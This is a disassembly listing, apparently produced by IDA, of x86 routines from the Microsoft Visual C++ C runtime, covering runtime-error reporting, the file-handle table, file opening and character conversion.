		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h


loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C08 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43D03C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------


loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D03C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 2630A0Fh
		nop
		push	eax
		nop
		call	near ptr 2700000h


loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DCCA0


loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]


loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------


loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB


loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DCDA0
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------


loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DCDA0, 20h
		lea	ecx, ds:4DCCA0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------


loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi


loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DCDA0
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DCCA0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A9A4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		call	near ptr 2630000h
		nop


loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------


loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh


loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DCDA0
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A9A4, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h


loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		call	near ptr 2630000h
		nop


loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------


loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh


loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCDA0
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCCA0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCDA0
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DCCA0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		call	near ptr 26208BBh
		nop
		test	eax, eax
		jnz	short loc_42391D
		call	near ptr 26908E1h
		nop
		jmp	short loc_42391F
; ---------------------------------------------------------------------------


loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax


loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB95C, eax


loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DCC80
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------


loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi


loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DCC80, eax


loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DBC78, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DCC80, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DBC78, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx


loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43D0C8


loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DBC78
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D348
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43D0D8


loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD


loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D138
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB998, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBB40
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------


loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------


loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DBC50, eax
		jz	short loc_423A7E


loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h


loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4


loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB958, 16h
		mov	dword_4DB95C, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------


loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h


loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx


loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------


loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1


loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB960
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi


loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi


loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------


loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h


loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB95C, 0
		mov	dword_4DB958, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------


loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 2710776h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		nop
		call	near ptr 26301F9h
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		nop
		call	near ptr 2670894h


loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		nop
		call	near ptr 26908E1h
		push	eax
		call	sub_4203DF
		pop	ecx


loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------


loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------


loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8


loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DCCA0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB95C, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------


loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2


loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE


loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx


loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------


loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx


loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C48
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBB48
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427938
		push	esi
		nop
		call	near ptr 261051Fh
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------


loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CB50C
		push	esi
		push	ebx
		call	near ptr 2620000h
		nop
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax


loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DBB48, eax


loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DBA14


loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 2620000h
		nop
		jmp	loc_423E23
; ---------------------------------------------------------------------------


loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DBA24
		mov	[ebp+arg_10], eax


loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	near ptr 2830000h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2830000h
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 261051Fh
		jmp	short loc_423E23
; ---------------------------------------------------------------------------


loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax


loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCDA0
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCCA0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DBA14, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43CBE4
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DBA24
		nop
		call	near ptr 2821065h
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1


loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB958, 2Ah
		or	eax, 0FFFFFFFFh


loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx


loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax


loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DBA14, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax


loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C9D8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43CBE4
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DBA24
		call	near ptr 2830000h
		nop
		test	eax, eax
		mov	eax, dword_43CBE4
		jnz	short loc_423EE8


loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8


loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4DB958, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
